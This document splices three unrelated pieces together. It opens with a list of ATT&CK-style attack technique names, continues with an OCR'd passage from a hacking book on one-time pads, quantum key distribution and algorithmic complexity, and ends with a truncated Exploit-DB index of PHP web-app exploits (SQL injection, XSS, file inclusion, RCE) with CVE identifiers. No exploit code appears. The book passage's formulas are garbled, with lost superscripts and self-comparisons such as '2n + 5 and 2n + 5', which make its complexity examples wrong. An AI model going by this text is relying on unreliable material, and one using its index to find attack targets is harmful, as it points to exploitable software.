Spoofing SID-History Injection BITS Jobs Build Image on Host Deobfuscate/Decode Files or Information Deploy Container Direct Volume Access Domain Policy Modification Group Policy Modification Domain Trust Modification Execution Guardrails Environmental Keying Exploitation for Defense Evasion File and Directory Permissions Modification Windows File and Directory Permissions Modification Linux and Mac File and Directory Permissions Modification Hide Artifacts Hidden Files and Directories Hidden Users Hidden Window NTFS File Attributes Hidden File System Run Virtual Instance VBA Stomping Hijack Execution Flow DLL Search Order Hijacking DLL Side-Loading Dylib Hijacking Executable Installer File Permissions Weakness Dynamic Linker Hijacking Path Interception by PATH Environment Variable Path Interception by Search Order Hijacking Path Interception by Unquoted Path Services File Permissions Weakness Services Registry Permissions Weakness COR_PROFILER Impair Defenses Disable or Modify Tools Disable Windows Event Logging Impair Command History Logging Disable or Modify System Firewall Indicator Blocking Disable or Modify Cloud Firewall Disable Cloud Logs Indicator Removal on Host Clear Windows Event Logs Clear Linux or Mac System Logs Clear Command History File Deletion Network Share Connection Removal Timestomp Indirect Command Execution Masquerading Invalid Code Signature Right-to-Left Override Rename System Utilities Masquerade Task or Service Match Legitimate Name or Location Space after Filename Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Modify Cloud Compute Infrastructure Create Snapshot Create Cloud Instance Delete Cloud Instance Revert Cloud Instance Modify Registry Modify System Image Patch System Image Downgrade System Image Network Boundary Bridging Network Address Translation Traversal Obfuscated Files or Information Binary Padding Software Packing Steganography Compile After Delivery Indicator Removal from Tools Pre-OS Boot System Firmware Component Firmware Bootkit ROMMONkit TFTP Boot Process Injection Dynamic-link Library Injection Portable Executable Injection Thread Execution Hijacking Asynchronous Procedure Call Thread Local Storage Ptrace System Calls Proc Memory Extra Window Memory Injection Process Hollowing Process Doppelgänging VDSO Hijacking Rogue Domain Controller Rootkit Signed Binary Proxy Execution Compiled HTML File Control Panel CMSTP InstallUtil Mshta Msiexec Odbcconf Regsvcs/Regasm Regsvr Rundll Verclsid Signed Script Proxy Execution PubPrn Subvert Trust Controls Gatekeeper Bypass Code Signing SIP and Trust Provider Hijacking Install Root Certificate Mark-of-the-Web Bypass Code Signing Policy Modification Template Injection Traffic Signaling Port Knocking Trusted Developer Utilities Proxy Execution MSBuild Unused/Unsupported Cloud Regions Use Alternate Authentication Material Application Access Token Pass the Hash Pass the Ticket Web Session Cookie Valid Accounts Default Accounts Domain Accounts Local Accounts Cloud Accounts Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Weaken Encryption Reduce Key Space Disable Crypto Hardware XSL Script Processing Credential Access Brute Force Password Guessing Password Cracking Password Spraying Credential Stuffing Credentials from Password Stores Keychain Securityd Memory Credentials from Web Browsers Windows Credential Manager Password Managers Exploitation for Credential Access Forced Authentication Forge Web Credentials Web Cookies SAML Tokens Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Modify Authentication Process Domain Controller Authentication Password Filter DLL Pluggable Authentication Modules Network Device Authentication Network Sniffing OS Credential Dumping LSASS Memory Security Account Manager NTDS LSA Secrets Cached Domain Credentials DCSync Proc Filesystem /etc/passwd and /etc/shadow Steal Application Access Token Steal or Forge Kerberos Tickets Golden Ticket Silver Ticket Kerberoasting AS-REP Roasting Steal Web Session Cookie Two-Factor Authentication Interception Unsecured Credentials Credentials In Files Credentials in Registry Bash History Private Keys Cloud Instance Metadata API Group Policy Preferences Container API Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Container and Resource Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Local Groups Domain Groups Cloud Groups Process Discovery Query
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versions_v9_techniques_T1562_003.txt
|
the most literal sense of the word. Two identical pads are made: one for the recipient and one for the sender. To encode a message, the sender simply XORs each bit of the plaintext message with the corresponding bit of the pad. After the message is encoded, the pad is destroyed to ensure that it is only used once. Then the encrypted message can be sent to the recipient without fear of cryptanalysis, since the encrypted message cannot be broken without the pad. When the recipient receives the encrypted message, he also XORs each bit of the encrypted message with the corresponding bit of his pad to produce the original plaintext message. While the onetime pad is theoretically impossible to break, in reality it's not really all that practical to use. The security of the onetime pad hinges on the security of the pads. When the pads are distributed to the recipient and the sender, it is assumed that the pad transmission channel is secure. To be truly secure, this could involve a face-to-face meeting and exchange, but for convenience, the pad transmission may be facilitated via yet another cipher. The price of this convenience is that the entire system is now only as strong as the weakest link, which would be the cipher used to transmit the pads. Since the pad consists of random data of the same length as the plaintext message, and since the security of the whole system is only as good as the security of pad transmission, it usually makes more sense to just send the plaintext message encoded using the same cipher that would have been used to transmit the pad. Quantum Key Distribution The advent of quantum computation brings many interesting things to the field of cryptology. One of these is a practical implementation of the onetime pad, made possible by quantum key distribution. The mystery of quantum entanglement can provide a reliable and secret method of sending a random string of bits that can be used as a key. This is done using nonorthogonal quantum states in photons. Without going into too much detail, the polarization of a photon is the oscillation direction of its electric field, which in this case can be along the horizontal, vertical, or one of the two diagonals. Nonorthogonal simply means the states are separated by an angle that isn't 90 degrees. Curiously enough, it's impossible to determine with certainty which of these four polarizations a single photon has. The rectilinear basis of the horizontal and vertical polarizations is incompatible with the diagonal basis of the two diagonal polarizations, so, due to the Heisenberg uncertainty principle, these two sets of polarizations cannot both be measured. Filters can be used to measure the polarizations— one for the rectilinear basis and one for the diagonal basis. When a photon passes through the correct filter, its polarization won't change, but if it passes through the incorrect filter, its polarization will be randomly modified. This means that any eavesdropping attempt to measure the polarization of a photon has a good chance of scrambling the data, making it apparent that the channel isn't secure. These strange aspects of quantum mechanics were put to good use by Charles Bennett and Gilles Brassard in the first and probably best-known quantum key distribution scheme, called BB84. First, the sender and receiver agree on bit representation for the four polarizations, such that each basis has both 1 and 0. In this scheme, 1 could be represented by both vertical photon polarization and one of the diagonal polarizations (positive 45 degrees), while 0 could be represented by horizontal polarization and the other diagonal polarization (negative degrees). This way, Is and Os can exist when the rectilinear polarization is measured and when the diagonal polarization is measured. Then, the sender sends a stream of random photons, each coming from a randomly chosen basis (either rectilinear or diagonal), and these photons are recorded. When the receiver receives a photon, he also randomly chooses to measure it in either the rectilinear basis or the diagonal basis and records the result. Now, the two parties publicly compare which basis they used for each photon, and they keep only the data corresponding to the photons they both measured using the same basis. This doesn't reveal the bit values of the photons, since there are both Is and Os in each basis. This makes up the key for the onetime pad. Since an eavesdropper would ultimately end up changing the polarization of some of these photons and thus scramble the data, eavesdropping can be detected by computing the error rate of some random subset of the key. If there are too many errors, someone was probably eavesdropping, and the key should be thrown away. If not, the transmission of the key data was secure and private. Computational Security A cryptosystem is considered to be computationally secure if the best-known algorithm for breaking it requires an unreasonable amount of computational resources and time. This means that it is theoretically possible for an eavesdropper to break the encryption, but it is practically infeasible to actually do so, since the amount of time and resources necessary would far exceed the value of the encrypted information. Usually, the time needed to break a computationally secure cryptosystem is measured in tens of thousands of years, even with the assumption of a vast array of computational resources. Most modern cryptosystems fall into this category. It's important to note that the best-known algorithms for breaking cryptosystems are always evolving and being improved. Ideally, a cryptosystem would be defined as computationally secure if the best algorithm for breaking it requires an unreasonable amount of computational resources and time, but there is currently no way to prove that a given encryption-breaking algorithm is and always will be the best one. So, the current best-known algorithm is used instead to measure a cryptosystem's security. Algorithmic Run Time Algorithmic run time is a bit different from the run time of a program. Since an algorithm is simply an idea, there's no limit to the processing speed for evaluating the algorithm. This means that an expression of algorithmic run time in minutes or seconds is meaningless. Without factors such as processor speed and architecture, the important unknown for an algorithm is input size. A sorting algorithm running on 1,000 elements will certainly take longer than the same sorting algorithm running on elements. The input size is generally denoted by n, and each atomic step can be expressed as a number. The run time of a simple algorithm, such as the one that follows, can be expressed in terms of n. for(i = 1 to n) { Do something; Do another thing; } Do one last thing; This algorithm loops n times, each time doing two actions, and then does one last action, so the time complexity for this algorithm would be 2 n + 1. A more complex algorithm with an additional nested loop tacked on, shown below, would have a time complexity of n 2 + 2n + 1, since the new action is executed n times. for(x = 1 to n) { for(y = 1 to n) { Do the new action; } } for(i = 1 to n) { Do something; Do another thing; } Do one last thing; But this level of detail for time complexity is still too granular. For example, as n becomes larger, the relative difference between 2n + 5 and 2 n + 365 becomes less and less. However, as n becomes larger, the relative difference between 2n + 5 and 2n + 5 becomes larger and larger. This type of generalized trending is what is most important to the run time of an algorithm. Consider two algorithms, one with a time complexity of 2 n + 365 and the other with 2n 2 + 5. The 2n 2 + 5 algorithm will outperform the 2 n + 365 algorithm on small values for n. But for n = 30, both algorithms perform equally, and for all n greater than 30, the 2 n + 365 algorithm will outperform the 2 n 2 + 5 algorithm. Since there are only 30 values for n in which the 2n 2 + 5 algorithm performs better, but an infinite number of values for nin which the 2n + 365 algorithm performs better, the 2n + 365 algorithm is generally more efficient. This means that, in general, the growth rate of the time complexity of an algorithm with respect to input size is more important than the time complexity for any fixed input. While this might not always hold true for specific real-world applications, this type of measurement of an algorithm's efficiency tends to be true when averaged over all possible applications. Asymptotic Notation Asymptotic notation is a way to express an algorithm's efficiency. It's called asymptotic because it deals with the behavior of the algorithm as the input size approaches the asymptotic limit of infinity. Returning to the examples of the 2 n + 365 algorithm and the 2n 2 + 5 algorithm, we determined that the 2 n + 365 algorithm is generally more efficient because it follows the trend of n, while the
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Hacking the art of Exploitation_djvu.txt
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7052,exploits/php/webapps/7052.txt,"Domain Seller Pro 1.5 - 'id' SQL Injection",2008-11-07,TR-ShaRk,webapps,php,,2008-11-06,,1,OSVDB-49691;CVE-2008-5788,,,,, 36272,exploits/php/webapps/36272.txt,"Domain Shop - 'index.php' Cross-Site Scripting",2011-11-01,Mr.PaPaRoSSe,webapps,php,,2011-11-01,2015-03-05,1,,,,,,https://www.securityfocus.com/bid/50454/info 31091,exploits/php/webapps/31091.txt,"Domain Trader 2.0 - 'catalog.php' Cross-Site Scripting",2008-02-02,Crackers_Child,webapps,php,,2008-02-02,2014-01-21,1,CVE-2008-0688;OSVDB-41034,,,,,https://www.securityfocus.com/bid/27571/info 33763,exploits/php/webapps/33763.txt,"Domain Verkaus & Auktions Portal - 'index.php' SQL Injection",2010-03-15,"Easy Laster",webapps,php,,2010-03-15,2014-06-15,1,,,,,,https://www.securityfocus.com/bid/38737/info 44782,exploits/php/webapps/44782.txt,"DomainMod 4.09.03 - 'oid' Cross-Site Scripting",2018-05-28,longer,webapps,php,,2018-05-28,2018-05-28,0,CVE-2018-11403,,,,, 44783,exploits/php/webapps/44783.txt,"DomainMod 4.09.03 - 'sslpaid' Cross-Site Scripting",2018-05-28,longer,webapps,php,,2018-05-28,2018-05-28,0,CVE-2018-11404,,,,, 46375,exploits/php/webapps/46375.txt,"DomainMOD 4.11.01 - 'assets/add/dns.php' Cross-Site Scripting",2019-02-14,"Mohammed Abdul Kareem",webapps,php,80,2019-02-14,2019-02-16,1,CVE-2018-19914,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz,https://github.com/domainmod/domainmod/issues/ 46376,exploits/php/webapps/46376.txt,"DomainMOD 4.11.01 - 'assets/edit/host.php?whid=5' Cross-Site Scripting",2019-02-14,"Mohammed Abdul Kareem",webapps,php,80,2019-02-14,2019-02-14,1,CVE-2018-19915,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz, 46374,exploits/php/webapps/46374.txt,"DomainMOD 4.11.01 - 'category.php CatagoryName_ StakeHolder' Cross-Site Scripting",2019-02-14,"Mohammed Abdul Raheem",webapps,php,80,2019-02-14,2019-02-14,1,CVE-2018-20011,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz,https://github.com/domainmod/domainmod/issues/ 45959,exploits/php/webapps/45959.txt,"DomainMOD 4.11.01 - 'DisplayName' Cross-Site Scripting",2018-12-09,"Mohammed Abdul Raheem",webapps,php,80,2018-12-09,2018-12-10,0,,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz, 45883,exploits/php/webapps/45883.txt,"DomainMOD 4.11.01 - 'raid' Cross-Site Scripting",2018-11-16,"Dawood Ansar",webapps,php,80,2018-11-16,2018-12-11,0,CVE-2018-19136,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-master.zip, 46373,exploits/php/webapps/46373.txt,"DomainMOD 4.11.01 - 'ssl-accounts.php username' Cross-Site Scripting",2019-02-14,"Mohammed Abdul Raheem",webapps,php,80,2019-02-14,2019-02-14,1,CVE-2018-20010,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz,https://github.com/domainmod/domainmod/issues/ 46372,exploits/php/webapps/46372.txt,"DomainMOD 4.11.01 - 'ssl-provider-name' Cross-Site Scripting",2019-02-14,"Mohammed Abdul Raheem",webapps,php,,2019-02-14,2019-02-14,1,CVE-2018-20009,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz,https://github.com/domainmod/domainmod/issues/ 45967,exploits/php/webapps/45967.txt,"DomainMOD 4.11.01 - Cross-Site Scripting",2018-12-11,"Mohammed Abdul Raheem",webapps,php,80,2018-12-11,2018-12-12,0,CVE-2018-19913,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz, 45946,exploits/php/webapps/45946.txt,"DomainMOD 4.11.01 - Custom Domain Fields Cross-Site Scripting",2018-12-04,"Mohammed Abdul Raheem",webapps,php,80,2018-12-04,2018-12-04,0,CVE-2018-19750,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz, 45947,exploits/php/webapps/45947.txt,"DomainMOD 4.11.01 - Custom SSL Fields Cross-Site Scripting",2018-12-04,"Mohammed Abdul Raheem",webapps,php,80,2018-12-04,2018-12-04,0,CVE-2018-19751,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz, 45941,exploits/php/webapps/45941.txt,"DomainMOD 4.11.01 - Owner name Field Cross-Site Scripting",2018-12-04,"Mohammed Abdul Raheem",webapps,php,80,2018-12-04,2018-12-04,0,CVE-2018-19749,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz, 45949,exploits/php/webapps/45949.txt,"DomainMOD 4.11.01 - Registrar Cross-Site Scripting",2018-12-04,"Mohammed Abdul Raheem",webapps,php,80,2018-12-04,2018-12-04,0,CVE-2018-19752,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-4.11.01.tar.gz, 47325,exploits/php/webapps/47325.txt,"DomainMod 4.13 - Cross-Site Scripting",2019-08-30,"Damian Ebelties",webapps,php,,2019-08-30,2019-08-30,0,CVE-2019-15811,"Cross-Site Scripting (XSS)",,,http://www.exploit-db.comdomainmod-v4.13.0.zip, 41319,exploits/php/webapps/41319.txt,"Domains & Hostings Manager PRO 3.0 - 'entries' SQL Injection",2017-02-12,"Ihsan Sencan",webapps,php,,2017-02-12,2017-02-12,0,,,,,, 43569,exploits/php/webapps/43569.txt,"Domains & Hostings Manager PRO 3.0 - Authentication Bypass",2018-01-15,Tauco,webapps,php,,2018-01-15,2018-01-15,0,,,,,, 41133,exploits/php/webapps/41133.txt,"Domains Marketplace Script 1.1 - Authentication Bypass",2017-01-20,"Ihsan Sencan",webapps,php,,2017-01-20,2017-01-20,0,,,,,, 43235,exploits/php/webapps/43235.txt,"DomainSale PHP Script 1.0 - 'id' SQL Injection",2017-12-08,"Ihsan Sencan",webapps,php,80,2017-12-08,2017-12-13,1,CVE-2017-17594,"SQL Injection (SQLi)",,,, 17989,exploits/php/webapps/17989.txt,"Dominant Creature BBG/RPG Browser Game - Persistent Cross-Site Scripting",2011-10-17,M.Jock3R,webapps,php,,2011-10-17,2011-10-17,0,OSVDB-83432,,,,http://www.exploit-db.comdominant.creature.zip, 33004,exploits/php/webapps/33004.txt,"dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read",2014-04-24,Portcullis,webapps,php,80,2014-04-24,2016-10-10,1,CVE-2014-2383;OSVDB-106083,,,,http://www.exploit-db.comdompdf-0.6.0.zip,https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/ 14851,exploits/php/webapps/14851.txt,"dompdf 0.6.0 beta1 - Remote File Inclusion",2010-09-01,Andre_Corleone,webapps,php,,2010-09-01,2010-09-01,0,OSVDB-56579;CVE-2010-4879,,,,http://www.exploit-db.comdompdf_0-6-0_beta1.zip, 51270,exploits/php/webapps/51270.py,"Dompdf 1.2.1 - Remote Code Execution (RCE)",2023-04-06,"Ravindu Wickramasinghe",webapps,php,,2023-04-06,2023-04-06,0,CVE-2022-28368,,,,, 4888,exploits/php/webapps/4888.txt,"DomPHP 0.81 - 'cat' SQL Injection",2008-01-11,MhZ91,webapps,php,,2008-01-10,2016-11-10,1,OSVDB-51908;CVE-2008-6064,,,,, 4883,exploits/php/webapps/4883.txt,"DomPHP 0.81 - 'index.php' Remote File Inclusion",2008-01-10,Houssamix,webapps,php,,2008-01-09,,1,OSVDB-40338;CVE-2008-0283,,,,, 4880,exploits/php/webapps/4880.php,"DomPHP 0.81 - Remote Add Administrator",2008-01-10,j0j0,webapps,php,,2008-01-09,,1,OSVDB-40122;CVE-2008-0282,,,,, 5089,exploits/php/webapps/5089.txt,"DomPHP 0.82 - 'index.php' Local File Inclusion",2008-02-09,Houssamix,webapps,php,,2008-02-08,,1,OSVDB-41555;CVE-2008-0745,,,,, 30865,exploits/php/webapps/30865.txt,"DomPHP 0.83 - Local Directory Traversal",2014-01-12,Houssamix,webapps,php,,2014-01-17,2014-01-17,0,OSVDB-102204;CVE-2014-10037,,,,, 30872,exploits/php/webapps/30872.txt,"DomPHP 0.83 - SQL Injection",2014-01-13,Houssamix,webapps,php,,2014-01-15,2014-01-15,1,OSVDB-102180;CVE-2014-10038,,,,, 51615,exploits/php/webapps/51615.txt,"Dooblou WiFi File Explorer 1.13.3 - Multiple Vulnerabilities",2023-07-20,Vulnerability-Lab,webapps,php,,2023-07-20,2023-07-28,0,,,,,, 31085,exploits/php/webapps/31085.txt,"Doodle4Gift - Multiple Vulnerabilities",2014-01-20,Dr.NaNo,webapps,php,80,2014-01-20,2014-01-20,1,OSVDB-102482;OSVDB-102481;OSVDB-102321;OSVDB-102320,,,http://www.exploit-db.com/screenshots/idlt31500/doodle4gift.jpg,, 4536,exploits/php/webapps/4536.txt,"doop CMS 1.3.7 - Local File Inclusion",2007-10-15,vladii,webapps,php,,2007-10-14,2017-01-06,1,OSVDB-37864;CVE-2007-5465,,,,http://www.exploit-db.comdoop-1.3.7.zip, 7569,exploits/php/webapps/7569.txt,"doop CMS 1.4.0b - Cross-Site Request Forgery / Arbitrary File Upload",2008-12-24,x0r,webapps,php,,2008-12-23,,1,,,,,, 29852,exploits/php/webapps/29852.txt,"Doop Content Management System 1.3.x - Multiple Input Validation Vulnerabilities",2007-04-13,KaBuS,webapps,php,,2007-04-13,2013-11-27,1,OSVDB-102807;OSVDB-102806;OSVDB-102805,,,,,https://www.securityfocus.com/bid/23482/info 24560,exploits/php/webapps/24560.txt,"doorGets CMS - Cross-Site Request Forgery",2013-03-01,n0pe,webapps,php,,2013-03-01,2013-03-01,1,OSVDB-90814,,,,http://www.exploit-db.comdoorGets_CMS_V4.1.zip, 31521,exploits/php/webapps/31521.txt,"doorGets CMS 5.2 - SQL Injection",2014-02-07,"High-Tech Bridge SA",webapps,php,80,2014-02-07,2014-02-07,0,CVE-2014-1459;OSVDB-102127,,,,,https://www.htbridge.com/advisory/HTB 46173,exploits/php/webapps/46173.txt,"doorGets CMS 7.0 - Arbitrary File Download",2019-01-16,"Ihsan Sencan",webapps,php,80,2019-01-16,2019-01-16,0,,,,,http://www.exploit-db.comdoorGets_CMS_V7.0.zip, 29914,exploits/php/webapps/29914.txt,"Doruk100Net - 'Info.php' Remote File Inclusion",2007-04-26,Ali7,webapps,php,,2007-04-26,2013-11-30,1,CVE-2007-2288;OSVDB-34171,,,,,https://www.securityfocus.com/bid/23675/info 2795,exploits/php/webapps/2795.txt,"DoSePa 1.0.4 - 'textview.php' Information Disclosure",2006-11-17,"Craig Heffner",webapps,php,,2006-11-16,2016-11-08,1,OSVDB-30499;CVE-2006-6028,,,,http://www.exploit-db.comdosepa.zip, 11620,exploits/php/webapps/11620.txt,"Dosya Yukle Scrtipi (DosyaYukle Scripti) 1.0 - Arbitrary File Upload",2010-03-03,indoushka,webapps,php,,2010-03-02,2017-03-31,0,,,,,,https://www.securityfocus.com/bid/38527/info 18250,exploits/php/webapps/18250.txt,"DotA OpenStats 1.3.9 - SQL Injection",2011-12-19,HvM17,webapps,php,,2011-12-19,2011-12-19,1,OSVDB-77944;CVE-2011-5218,,,,http://www.exploit-db.comdotaOS-1.3.9.zip, 22254,exploits/php/webapps/22254.txt,"DotBr 0.1 - 'Exec.php3' Remote Command Execution",2003-02-15,frog,webapps,php,,2003-02-15,2012-10-25,1,CVE-2003-1405;OSVDB-5090,,,,,https://www.securityfocus.com/bid/6867/info 22253,exploits/php/webapps/22253.txt,"DotBr 0.1 - 'System.php3' Remote Command Execution",2003-02-15,frog,webapps,php,,2003-02-15,2012-10-25,1,CVE-2003-1405;OSVDB-5089,,,,,https://www.securityfocus.com/bid/6866/info 26689,exploits/php/webapps/26689.txt,"DotClear 1.2.1/1.2.2 - 'Session.php' SQL Injection",2005-12-01,Siegfried,webapps,php,,2005-12-01,2013-07-08,1,CVE-2005-3963;OSVDB-21333,,,,,https://www.securityfocus.com/bid/15667/info 1869,exploits/php/webapps/1869.php,"DotClear 1.2.4 - 'prepend.php' Remote File Inclusion",2006-06-03,rgod,webapps,php,,2006-06-02,,1,OSVDB-25977;CVE-2006-2866,,,,, 29838,exploits/php/webapps/29838.txt,"DotClear 1.2.x - '/ecrire/trackback.php?post_id' Cross-Site Scripting",2007-04-11,nassim,webapps,php,,2007-04-11,2013-11-27,1,CVE-2007-1989;OSVDB-34814,,,,,https://www.securityfocus.com/bid/23411/info 29839,exploits/php/webapps/29839.txt,"DotClear 1.2.x - '/tools/thememng/index.php?tool_url' Cross-Site Scripting",2007-04-11,nassim,webapps,php,,2007-04-11,2013-11-27,1,CVE-2007-1989;OSVDB-34815,,,,,https://www.securityfocus.com/bid/23411/info 51353,exploits/php/webapps/51353.txt,"dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated)",2023-04-08,"Mirabbas Ağalarov",webapps,php,,2023-04-08,2023-04-08,0,,,,,, 52037,exploits/php/webapps/52037.py,"Dotclear 2.29 - Remote Code Execution (RCE)",2024-06-03,"Ahmet Ümit BAYRAM",webapps,php,,2024-06-03,2024-06-03,0,,,,,, 36888,exploits/php/webapps/36888.html,"Dotclear 2.4.1.2 - '/admin/auth.php?login_data' Cross-Site Scripting",2012-02-29,"High-Tech Bridge SA",webapps,php,,2012-02-29,2015-05-02,1,CVE-2012-1039;OSVDB-79697,,,,,https://www.securityfocus.com/bid/52221/info 36889,exploits/php/webapps/36889.txt,"Dotclear 2.4.1.2 - '/admin/blogs.php?nb' Cross-Site Scripting",2012-02-29,"High-Tech Bridge SA",webapps,php,,2012-02-29,2015-05-02,1,CVE-2012-1039;OSVDB-79699,,,,,https://www.securityfocus.com/bid/52221/info 36890,exploits/php/webapps/36890.txt,"Dotclear 2.4.1.2 - '/admin/comments.php' Multiple Cross-Site Scripting Vulnerabilities",2012-02-29,"High-Tech Bridge SA",webapps,php,,2012-02-29,2015-05-02,1,CVE-2012-1039;OSVDB-79698,,,,,https://www.securityfocus.com/bid/52221/info 36891,exploits/php/webapps/36891.txt,"Dotclear 2.4.1.2 - '/admin/plugin.php?page' Cross-Site Scripting",2012-02-29,"High-Tech Bridge SA",webapps,php,,2012-02-29,2015-05-02,1,CVE-2012-1039;OSVDB-79700,,,,,https://www.securityfocus.com/bid/52221/info 6247,exploits/php/webapps/6247.txt,"dotCMS 1.6 - 'id' Local File Inclusion",2008-08-15,Don,webapps,php,,2008-08-14,2016-12-20,1,OSVDB-47549;CVE-2008-3708;OSVDB-47548,,,,, 38906,exploits/php/webapps/38906.txt,"dotCMS 3.2.4 - Multiple Vulnerabilities",2015-12-08,LiquidWorm,webapps,php,80,2015-12-08,2015-12-08,0,OSVDB-131719;OSVDB-131718;OSVDB-131717;OSVDB-131716;OSVDB-131715;OSVDB-131714;OSVDB-131707;OSVDB-131706,,,,,http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5290.php 41377,exploits/php/webapps/41377.sh,"dotCMS 3.6.1 - Blind Boolean SQL Injection",2017-02-16,"Ben Nott",webapps,php,80,2017-02-16,2017-02-16,1,CVE-2017-5344,,,,, 14310,exploits/php/webapps/14310.js,"dotDefender 3.8-5 - Remote Code Execution (via Cross-Site Scripting)",2010-07-09,rAWjAW,webapps,php,80,2010-07-09,2010-07-09,1,,,,,, 27602,exploits/php/webapps/27602.txt,"DotNetNuke DNNArticle Module 10.0 - SQL Injection",2013-08-15,"Sajjad Pourali",webapps,php,,2013-08-15,2013-08-16,1,CVE-2013-5117;OSVDB-96306,,,,,http://www.zldnn.com/Support/tabid/643/ctl/RecordList/mid/1691/ItemID/2979/Default.aspx 21661,exploits/php/webapps/21661.txt,"dotProject 0.2.1 - User Cookie Authentication Bypass",2002-07-29,pokleyzz,webapps,php,,2002-07-29,2012-10-02,1,CVE-2002-1428;OSVDB-3591,,,,,https://www.securityfocus.com/bid/5347/info 27218,exploits/php/webapps/27218.txt,"dotProject 2.0 - '/includes/db_connect.php?baseDir' Remote File Inclusion",2006-02-14,r.verton,webapps,php,,2006-02-14,2013-07-31,1,CVE-2006-0755;OSVDB-23211,,,,,https://www.securityfocus.com/bid/16648/info 27219,exploits/php/webapps/27219.txt,"dotProject 2.0 - '/includes/session.php?baseDir' Remote File Inclusion",2006-02-14,r.verton,webapps,php,,2006-02-14,2013-07-31,1,CVE-2006-0755;OSVDB-23212,,,,,https://www.securityfocus.com/bid/16648/info 27222,exploits/php/webapps/27222.txt,"dotProject 2.0 - '/modules/admin/vw_usr_roles.php?baseDir' Remote File Inclusion",2006-02-14,r.verton,webapps,php,,2006-02-14,2013-07-31,1,CVE-2006-0755;OSVDB-23216,,,,,https://www.securityfocus.com/bid/16648/info 27217,exploits/php/webapps/27217.txt,"dotProject 2.0 - '/modules/projects/gantt.php?dPconfig[root_dir]' Remote File Inclusion",2006-02-14,r.verton,webapps,php,,2006-02-14,2013-07-31,1,CVE-2006-0755;OSVDB-23213,,,,,https://www.securityfocus.com/bid/16648/info 27220,exploits/php/webapps/27220.txt,"dotProject 2.0 - '/modules/projects/gantt2.php?dPconfig[root_dir]' Remote File Inclusion",2006-02-14,r.verton,webapps,php,,2006-02-14,2013-07-31,1,CVE-2006-0755;OSVDB-23214,,,,,https://www.securityfocus.com/bid/16648/info 27221,exploits/php/webapps/27221.txt,"dotProject 2.0 - '/modules/projects/vw_files.php?dPconfig[root_dir]' Remote File Inclusion",2006-02-14,r.verton,webapps,php,,2006-02-14,2013-07-31,1,CVE-2006-0755;OSVDB-23215,,,,,https://www.securityfocus.com/bid/16648/info 27223,exploits/php/webapps/27223.txt,"dotProject 2.0 - '/modules/public/calendar.php?baseDir' Remote File Inclusion",2006-02-14,r.verton,webapps,php,,2006-02-14,2013-07-31,1,CVE-2006-0755;OSVDB-23217,,,,,https://www.securityfocus.com/bid/16648/info 27224,exploits/php/webapps/27224.txt,"dotProject 2.0 - '/modules/public/date_format.php?baseDir' Remote File Inclusion",2006-02-14,r.verton,webapps,php,,2006-02-14,2013-07-31,1,CVE-2006-0755;OSVDB-23218,,,,,https://www.securityfocus.com/bid/16648/info 27225,exploits/php/webapps/27225.txt,"dotProject 2.0 - '/modules/tasks/gantt.php?baseDir' Remote File Inclusion",2006-02-14,r.verton,webapps,php,,2006-02-14,2013-07-31,1,CVE-2006-0755;OSVDB-23219,,,,,https://www.securityfocus.com/bid/16648/info 1934,exploits/php/webapps/1934.txt,"dotProject 2.0.3 - 'baseDir' Remote File Inclusion",2006-06-20,h4ntu,webapps,php,,2006-06-19,2016-08-16,1,,,,,http://www.exploit-db.comdotproject-2_0_3.zip, 2191,exploits/php/webapps/2191.txt,"dotProject 2.0.4 - 'baseDir' Remote File Inclusion",2006-08-16,Kacper,webapps,php,,2006-08-15,2016-09-09,1,OSVDB-29478;CVE-2006-4234,,,,http://www.exploit-db.comdotproject-2.0.4.tar.gz, 32306,exploits/php/webapps/32306.txt,"dotProject 2.1.2 - Multiple SQL Injections / Cross-Site Scripting Vulnerabilities",2008-08-29,C1c4Tr1Z,webapps,php,,2008-08-29,2014-03-17,1,,,,,,https://www.securityfocus.com/bid/30924/info 11298,exploits/php/webapps/11298.txt,"dotProject 2.1.3 - Cross-Site Scripting / Improper Permissions",2010-01-30,h00die,webapps,php,80,2010-01-29,,1,OSVDB-61611,,,,, 33475,exploits/php/webapps/33475.txt,"dotProject 2.1.3 - Multiple SQL Injections / HTML Injection Vulnerabilities",2010-01-07,"Justin C. Klein Keane",webapps,php,,2010-01-07,2014-05-22,1,,,,,,https://www.securityfocus.com/bid/37669/info 16135,exploits/php/webapps/16135.html,"dotProject 2.1.5 - Cross-Site Request Forgery",2011-02-08,"AutoSec Tools",webapps,php,,2011-02-08,2011-02-08,0,,,,,http://www.exploit-db.comdotproject-2.1.5.tar.gz,http://packetstormsecurity.org/files/view/98245/dotProject2.1.5-xsrf.txt 16207,exploits/php/webapps/16207.txt,"dotProject 2.1.5 - Multiple 